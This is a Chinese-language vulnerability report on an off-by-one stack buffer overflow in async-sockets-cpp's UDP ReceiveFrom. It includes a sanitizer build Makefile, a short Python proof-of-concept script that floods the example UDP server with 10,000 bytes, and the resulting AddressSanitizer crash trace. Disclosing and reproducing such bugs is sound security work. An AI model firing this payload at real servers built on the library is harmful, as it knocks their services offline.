async-sockets-cpp（至 0.3.1 版）在 udpsocket.hpp 中的 static void ReceiveFrom(UDPSocket* udpSocket) 函数内（约第 160-167 行）包含一个 off-by-one 缓冲区溢出漏洞。该缓冲区溢出影响所有相应的 UDP 服务器。远程攻击者可通过连接到 UDP 套接字并发送一个大型字节缓冲区来触发此远程缓冲区溢出。
为了确认该问题，我首先使用调试符号和地址消毒器（AddressSanitizer）编译了 async-sockets-cpp/examples 文件夹中的 UDP 服务器示例：
CC := g++
CFLAGS := --std=c++11 -Wall -Wextra -Werror=conversion -fsanitize=address -g
LIBS := -lpthread -fsanitize=address
INC := ../async-sockets/include
RM := rm
.PHONY: all clean
all: tcp-client tcp-server udp-client udp-server
tcp-client: tcp-client.cpp $(INC)/tcpsocket.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
tcp-server: tcp-server.cpp $(INC)/tcpserver.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
udp-client: udp-client.cpp $(INC)/udpsocket.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
udp-server: udp-server.cpp $(INC)/udpserver.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
clean:
$(RM) tcp-client
$(RM) tcp-server
$(RM) udp-client
$(RM) udp-server
$ make
服务器编译完成后，我在 8888 端口上运行了 udp-server：
$ ./udp-server
随后，我创建了一个 python3 脚本，用于连接 udp-server 并发送一个包含约 4096（或更多）字节内容的大型数据包：
import socket
host = "localhost"
port = 8888 # The same port as used by the server
buf = b'A'*10000 # Overflow happens at 4095 bytes
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
执行上述 python3 脚本将导致服务器/线程崩溃，并产生以下来自地址消毒器的详细输出，其中显示了栈缓冲区溢出的位置：
=================================================================
==352142==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f613a200120 at pc 0x55b71fc37288 bp 0x7f613adfdba0 sp 0x7f613adfdb98
WRITE of size 1 at 0x7f613a200120 thread T1
#0 0x55b71fc37287 in UDPSocket<(unsigned short)4096>::ReceiveFrom(UDPSocket<(unsigned short)4096>*) ../async-sockets/include/udpsocket.hpp:162
#1 0x55b71fc3a309 in void std::__invoke_impl<void, void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*>(std::__invoke_other, void (*&&)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:61
#2 0x55b71fc3a24c in std::__invoke_result<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*>::type std::__invoke<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*>(void (*&&)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:96
#3 0x55b71fc3a1bc in void std::thread::_Invoker<std::tuple<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*> >::_M_invoke<0ul, 1ul>(std::_Index_tuple<0ul, 1ul>) /usr/include/c++/12/bits/std_thread.h:279
#4 0x55b71fc3a175 in std::thread::_Invoker<std::tuple<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*> >::operator()() /usr/include/c++/12/bits/std_thread.h:286
#5 0x55b71fc3a159 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*> > >::_M_run() /usr/include/c++/12/bits/std_thread.h:231
#6 0x7f613dedc482 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc482) (BuildId: 8ce98760d7c54203c5d99ee3bdd9fbca8e275529)
#7 0x7f613dca63eb in start_thread nptl/pthread_create.c:444
#8 0x7f613dd26a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Address 0x7f613a200120 is located in stack of thread T1 at offset 4384 in frame
#0 0x55b71fc3712e in UDPSocket<(unsigned short)4096>::ReceiveFrom(UDPSocket<(unsigned short)4096>*) ../async-sockets/include/udpsocket.hpp:152
This frame has 7 object(s):
[32, 33) '<unknown>'
[48, 52) 'hostAddrSize' (line 155)
[64, 80) 'hostAddr' (line 154)
[96, 128) '<unknown>'
[160, 192) '<unknown>'
[224, 256) '<unknown>'
[288, 4384) 'tempBuffer' (line 157) <== Memory access at offset 4384 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
Thread T1 created by T0 here:
#0 0x7f613e247c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x7f613dedc558 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc558) (BuildId: 8ce98760d7c54203c5d99ee3bdd9fbca8e275529)
#2 0x55b71fc35e83 in UDPSocket<(unsigned short)4096>::UDPSocket(bool, std::function<void (int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)>, int) ../async-sockets/include/udpsocket.hpp:23
#3 0x55b71fc35792 in UDPServer<(unsigned short)4096>::UDPServer() ../async-sockets/include/udpserver.hpp:7
#4 0x55b71fc338c6 in main /home/kali/projects/fuzzing/async-sockets-cpp/examples/udp-server.cpp:9
#5 0x7f613dc456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: stack-buffer-overflow ../async-sockets/include/udpsocket.hpp:162 in UDPSocket<(unsigned short)4096>::ReceiveFrom(UDPSocket<(unsigned short)4096>*)
Shadow bytes around the buggy address:
0x7f613a1ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f613a1fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f613a1fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f613a200000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f613a200080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7f613a200100: 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x7f613a200180: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x7f613a200200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f613a200280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f613a200300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f613a200380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==352142==ABORTING